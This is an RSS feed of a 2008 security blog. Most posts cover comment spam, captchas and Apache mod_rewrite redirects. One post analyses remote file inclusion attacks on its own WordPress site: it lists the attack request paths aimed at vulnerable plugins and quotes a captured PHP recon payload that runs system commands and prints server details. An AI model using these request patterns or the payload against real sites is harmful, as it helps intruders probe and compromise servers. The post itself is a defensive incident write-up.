<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Static in the Ether &#187; blog</title>
	<atom:link href="http://lair.moria.org/blog/archives/tag/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://lair.moria.org/blog</link>
	<description>Unix, Information Security &#38; Systems Administration</description>
	<lastBuildDate>Wed, 11 Nov 2009 09:14:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Implementing Captchas</title>
		<link>http://lair.moria.org/blog/archives/110</link>
		<comments>http://lair.moria.org/blog/archives/110#comments</comments>
		<pubDate>Sun, 24 Aug 2008 10:35:24 +0000</pubDate>
		<dc:creator>Barry Irwin</dc:creator>
				<category><![CDATA[Applications]]></category>
		<category><![CDATA[Systems Administration]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[captchas]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=110</guid>
		<description><![CDATA[With the comment spam continuing to pour in I caved in a and implemented captchas for comments.  While a solution using mathematical computation such as that offered by the match captcha plugin for wordpress, since the are only host defendant (rather than having to rely on some other 3rd-party service), this particular plugin was only [...]]]></description>
			<content:encoded><![CDATA[<p>With the comment spam continuing to pour in I caved in a and implemented <a href="http://www.captcha.net/">captchas</a> for comments.  While a solution using mathematical computation such as that offered by the <a href="http://wordpress.org/extend/plugins/math-comment-spam-protection/">match captcha</a> plugin for wordpress, since the are only host defendant (rather than having to rely on some other 3rd-party service), this particular plugin was only certified to 2.3.1, and I could not get a working download.  I capitulated to the web 2.0 way and installed <a href="http://wordpress.org/extend/plugins/wp-recaptcha/">WP-recaptcha</a>, which provides a nice wrapper around the <a href="http://recaptcha.net/">recaptcha.net</a> service.</p>
<p>Installation was simple, with registration required in order to obtain two APi keys for use with the service.  What interesting about this solution is that rather than just mutating words, a two phrase system is sued. One of the phrases is a known word, and th eother is a word that is taken form a ocr scan of the <acronym title="New Your Times">NYT</acronym> or <a href="http://archive.org/">Internet Archive</a>, ans has not been correctly identified by the ocr software.  Thus there is a bit of community mindedness involved as well, as these words are interpreted. More on the gory details can be found <a href="http://recaptcha.net/learnmore.html">here</a>.</p>
<p>What does interest me tho is that this will not offer any protection from &#8216;pingback&#8217; spam whihc is being submitted via the xmlrpc interface, but should still at another layer to the security onion.</p>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/110/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wierdo comment spam</title>
		<link>http://lair.moria.org/blog/archives/82</link>
		<comments>http://lair.moria.org/blog/archives/82#comments</comments>
		<pubDate>Tue, 19 Aug 2008 12:03:16 +0000</pubDate>
		<dc:creator>Barry Irwin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[blogsec]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=82</guid>
		<description><![CDATA[The last few weeks has seen a deluge of comment spam, which mostly is the run of the mill bot based stuff advertising &#8216;cheap hosting&#8217; , porn and other such sites.  a couple tht cought my attention were simple posts of urls with the following sort of format: http://www.google.com/search?q=rxbcrobh http://www.google.com/search?q=frhlrxca http://www.google.com/search?q=omihinga Searching on google with [...]]]></description>
			<content:encoded><![CDATA[<p>The last few weeks has seen a deluge of comment spam, which mostly is the run of the mill bot based stuff advertising &#8216;cheap hosting&#8217; , porn and other such sites.  a couple tht cought my attention were simple posts of urls with the following sort of format:</p>
<blockquote>
<ul>
<li>http://www.google.com/search?q=rxbcrobh</li>
<li>http://www.google.com/search?q=frhlrxca</li>
<li>http://www.google.com/search?q=omihinga</li>
</ul>
</blockquote>
<p>Searching on google with these links, surprisingly turns up nothing.  I was expecting to find lists of malware infected sites similar to the SQL injection attacks seen in the last few months.  Does anyone have any insight into these ? Sources appear to be geographically dispersed, and scattered across a variety of blog entries, old and new?</p>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/82/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RSS feeds have moved</title>
		<link>http://lair.moria.org/blog/archives/49</link>
		<comments>http://lair.moria.org/blog/archives/49#comments</comments>
		<pubDate>Tue, 10 Jun 2008 05:59:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[blog]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=49</guid>
		<description><![CDATA[Further to my previous post about using mod_rewrite to direct my old feed URLs to the right place, its probably time to notify people who read them in aggregators that the URI has changed, since the aggregators (particularly the web based ones hide the redirect, even tho its a 301). To the: 1 subscribers using [...]]]></description>
			<content:encoded><![CDATA[<p>Further to my previous post about using <a href="http://lair.moria.org/blog/archives/47">mod_rewrite to direct my old feed URLs</a> to the right place, its probably time to notify people who read them in aggregators that the URI has changed, since the aggregators (particularly the web based ones hide the redirect, even tho its a 301). To the:</p>
<ul>
<li>1 subscribers using Google FeedFetcher to grab /blog/index.php?flav=rss</li>
<li> 6 subscribers using Google FeedFetcher to grab /blog/?flav=rss&amp;category=Security</li>
<li> 27 subscribers using Google FeedFetcher to grab /blog/?flav=rss</li>
<li> 2 subscribers using <a href="http://www.rojo.com/?feed-id=3694167">Rojo</a> to fetch  /blog/?flav=rss</li>
<li> 7 subscribers  NewsGatorOnline  to grab /blog/?flav=rss</li>
<li> 1 subscriber using Feedshow to grab /blog/?flav=rss</li>
</ul>
<ul></ul>
<p>First of all thank-you for your interest, but the links have changed. My full feed is available as <a href="http://lair.moria.org/blog/feed">RSS 2.0</a> or <a href="http://lair.moria.org/blog/feed/atom">Atom 1.0,</a> or a reduced <a href="http://lair.moria.org/blog/archives/category/security/feed">Security only feed</a> as RSS 2.0 ( but you miss out on the fun stuff).</p>
<p>This is why this post is actually tagged as security, so they get it too ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/49/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress  and dealing with incoming hacks</title>
		<link>http://lair.moria.org/blog/archives/46</link>
		<comments>http://lair.moria.org/blog/archives/46#comments</comments>
		<pubDate>Sat, 07 Jun 2008 17:10:09 +0000</pubDate>
		<dc:creator>Barry Irwin</dc:creator>
				<category><![CDATA[Incidents]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=46</guid>
		<description><![CDATA[The other day morning stated out with a conversation with darb that went as follows: DARB: so&#8230;wordpress hey? BVI: I got over writing my own code BVI: now I&#8217;m waiting for my blog to be 0wn3d DARB: you know wordpress is the equivalent of an 8ft tall ogre that stands outside looking pretty, smashes tables [...]]]></description>
			<content:encoded><![CDATA[<p>The other day morning stated out with a conversation with <a title="Brad Whittington" href="http://whijo.net/">darb</a> that went as follows:</p>
<blockquote><p>DARB: so&#8230;wordpress hey?<br />
BVI: I got over writing my own code<br />
BVI: now I&#8217;m waiting for my blog to be 0wn3d<br />
DARB: you know wordpress is the equivalent of an 8ft tall ogre that stands outside looking pretty, smashes tables when he tries to sit down, and needs 20kg of food every day&#8230;and offers little or no protection on the side entrance to your establishment?<br />
BVI: exactly!<br />
DARB: lolz<br />
BVI: mine has a spiked collar and a beware of the ogre sign :-)<br />
DARB: that only scares away legitimate users&#8230;bandits read that sign as &#8220;come on in, we left the side door open&#8221;<br />
BVI: yeah<br />
DARB: I love wordpress docs and plugins<br />
DARB: &#8220;just chown your /tmp file, and then chmod 777 everything&#8221;</p></blockquote>
<p>Well not 20 minutes later I noticed a number of Remote file inclusion attacks coming in. Nothing like the ogre having sent out an invite to all and sundry. Attacks were coming looking as follows:<br />
<small> </small></p>
<ul>
<li><small>/blog/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo</small></li>
<li><small>/blog/archives/5/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/blog/archives/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/blog/?flav=rss/wp-content/plugins/myflash/myflash-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/wp-content/plugins/myflash/myflash-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/blog/wp-content/plugins/myflash/myflash-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/blog/archives/14/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=</small><small>foo</small></li>
<li><small>/blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=</small><small>foo</small></li>
<li><small>/blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=</small><small>foo</small></li>
</ul>
<p>In the above the actual path for the exploit codes been replaced with <small>foo</small>, but is of the form of http://site/somepath/tx.txt????, or similar.</p>
<p>Ive now seen this form over eighty different systems.  The include file seems to vary ( see below) but the same plugins are being targeted. No real surprise as they have been known exploitable for a while.</p>
<ul>
<li><a href="http://alexrabe.boelinger.com/wordpress-plugins/myflash/">myflash</a> &lt; v1.1 01 May 2007 <a href="http://xforce.iss.net/xforce/xfdb/34000">ISS-XForce</a></li>
<li><a href="http://wordpress.org/extend/plugins/wordtube/">wordtube</a> &lt; 1.43 01 May 2007 <a href="http://xforce.iss.net/xforce/xfdb/33996">ISS X-Force</a></li>
<li><a title="Defunct plugin ?" href="http://www.wildbits.de/mygallery/#english">mygallery</a> ≤ v 1.2.1 29 April 2007 <a href="http://xforce.iss.net/xforce/xfdb/33955">ISS-X-force</a> <a href="http://www.frsirt.com/english/advisories/2007/1582">FRsirt</a></li>
</ul>
<p>All the requests were may using libwww-perl/5.810, so most likely come from compromised unix systems.  the payload file being referred to has been removed, but I found some others, which are no doubt similar. The algorithm being used for the brute forcing is rather dumb. of the entries listed above, only two relate to viable targets for my given install. I found the request for &#8220;blog/?flav=rss/&#8230;.&#8221; rather amusing.  Another interesting observation is the number of requests centered around <a title="Windows XP failing to hibernate" href="http://lair.moria.org/blog/archives/14">http://lair.moria.org/blog/archives/14</a> my post relating to <a title="Windows XP failing to hibernate" href="http://lair.moria.org/blog/archives/14">Windows XP failing to hibernate</a>. I have yet to see hits on any other particular posts.</p>
<p>Looking at the payload code form some of the other similar attacks, I found the following one interesting, as a more human driven recon script providing information for making a value judgment on the target site rather  than an automated assault. (When will these people learn that <a href="http://en.wikipedia.org/wiki/StudlyCaps">StudlyCaps</a> isn&#8217;t really that cool )</p>
<blockquote><p><code>echo "BraT&lt;br&gt;";<br />
$alb = @php_uname();<br />
$alb2 = system(uptime);<br />
$alb3 = system(id);<br />
$alb4 = @getcwd();<br />
$alb5 = getenv("SERVER_SOFTWARE");<br />
$alb6 = phpversion();<br />
$alb7 = $_SERVER['SERVER_NAME'];<br />
$alb8 = gethostbyname($SERVER_ADDR);<br />
$alb9 = get_current_user();<br />
$os = @PHP_OS;<br />
echo "os: $os&lt;br&gt;";<br />
echo "uname -a: $alb&lt;br&gt;";<br />
echo "uptime: $alb2&lt;br&gt;";<br />
echo "id: $alb3&lt;br&gt;";<br />
echo "pwd: $alb4&lt;br&gt;";<br />
echo "user: $alb9&lt;br&gt;";<br />
echo "phpv: $alb6&lt;br&gt;";<br />
echo "SoftWare: $alb5&lt;br&gt;";<br />
echo "ServerName: $alb7&lt;br&gt;";<br />
echo "ServerAddr: $alb8&lt;br&gt;";<br />
echo "NigeriaN HackerS TeaM&lt;br&gt;";</code></p></blockquote>
<p>Others are not quite so benign, providing command shells, and in some cases drive  by exploits using a number of different tools to try download further payloads onto the system or upload password files, webserver configurations and other sensitive information. c99madscript.php really seems to be the flavour of the month with these, although it has been around a  while.</p>
<p>What all these attempts that Ive seen do have in common are the trailing &#8220;???&#8221; or &#8220;?????&#8221; irrespective of the payload contents of filename. The purpose of these to me is unclear, surely its a pain to type. Is it a bug ina  script, or are people trying to do something else.</p>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/46/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Migrating URLs with apache and mod_rewrite</title>
		<link>http://lair.moria.org/blog/archives/47</link>
		<comments>http://lair.moria.org/blog/archives/47#comments</comments>
		<pubDate>Fri, 06 Jun 2008 17:35:30 +0000</pubDate>
		<dc:creator>Barry Irwin</dc:creator>
				<category><![CDATA[Applications]]></category>
		<category><![CDATA[Systems Administration]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[blog]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=47</guid>
		<description><![CDATA[Having now migrated to WordPress from my own very customised version of phpBloxsom, which ran the previous incarnation of this blog, Ive been left with the issue of dealing with all the sites pulling my RSS feeds. With the change of software has come a change of url for the location of the feeds. Apache&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>Having now migrated to WordPress from my own very customised version of phpBloxsom, which ran the previous incarnation of this blog, Ive been left with the issue of dealing with all the sites pulling my RSS feeds.  With the change of software has come a change of url for the location of the feeds.</p>
<p>Apache&#8217;s mod_rewrite seems to be the obvious candidate for making this as transparent as possible. In essence what needed to happen was incoming requests for:</p>
<p><code> "GET /blog/?flav=rss&amp;category=Security HTTP/1.0" and<br />
<code>"GET /blog/?flav=rss HTTP/1.0" </code> respectively need to be converted into:</code></p>
<p><code><br />
<a title="Security RSS feed" href="http://lair.moria.org/blog/archives/category/security/feed">http://lair.moria.org/blog/archives/category/security/feed</a> </code></p>
<p><code>and</code></p>
<p><code> <a title="Static in the Ether - RSS feed" href="http://lair.moria.org/blog/feed">http://lair.moria.org/blog/feed</a></code> respectively</p>
<p>This was achieved matching on the QUERY_STRING variable within apache.  The real trick came trying to get the new URLS to appear clean.  This proved to be more difficult than I expected. My initial rewrite rules resulted int he following:<br />
<code><br />
"GET /blog/?flav=rss HTTP/1.0" 301 249 "<br />
"GET /blog/feed/?flav=rss HTTP/1.0" 200 54274 ""<br />
</code><br />
The agent was directed to the right url but it still looks ugly.  Note the use of a HTTP/301 status code indicating permanently moved rather than a 302 which mod_redirect usually provides.  The solution to the appending of the query string turned out to be to force my own null string onto the redirect. The <a href="http://wiki.apache.org/httpd/RewriteQueryString">Apache Wiki</a> was where I finally found the right answer. so the way to remove a QUERY_STRING is to append a blank string &#8220;?&#8221; to the redirect .</p>
<p>The final setup in my .htaccess for WordPress looks as follows:</p>
<pre><code>
RewriteCond %{QUERY_STRING} ^flav=rss$ [NC]
RewriteRule ^$ http://lair.moria.org/blog/feed? [R=301,L]
RewriteCond %{QUERY_STRING} ^flav=rss&amp;(category)=Security$ [NC]
RewriteRule ^$ http://lair.moria.org/blog/archives/category/security/feed? [R=301,L]
RewriteCond %{QUERY_STRING} ^flav=atom$ [NC]
RewriteRule ^$ http://lair.moria.org/blog/feed/atom? [R=301,L]</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/47/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>A web 2.0 we go&#8230;</title>
		<link>http://lair.moria.org/blog/archives/31</link>
		<comments>http://lair.moria.org/blog/archives/31#comments</comments>
		<pubDate>Mon, 02 Jun 2008 19:53:33 +0000</pubDate>
		<dc:creator>Barry Irwin</dc:creator>
				<category><![CDATA[Web Randomness]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[web 2.0]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=31</guid>
		<description><![CDATA[Having a quiet evening at home is a fairly rare occurrence, but tonight it happened. Consequently I got so spent some quality time exploring the wealth of plugins available for WordPress.  After some picking and choosing Ive added a couple, and as the title sugegsts they are &#8220;web 2.0&#8243; &#8211; for varing definitions of the [...]]]></description>
			<content:encoded><![CDATA[<p>Having a quiet evening at home is a fairly rare occurrence, but tonight it happened. Consequently I got so spent some quality time exploring the wealth of plugins available for WordPress.  After some picking and choosing Ive added a couple, and as the title sugegsts they are &#8220;web 2.0&#8243; &#8211; for varing definitions of the term that is.</p>
<p>My big concern is how much does the addition of such content actually slow down the loading of a page ? Something I&#8217;ll need to keep an eye on. Now if only I could get <a href="http://www.4mj.it/slimbox-wordpress-plugin/">Slimbox </a>to behave itself as advertised.</p>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/31/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
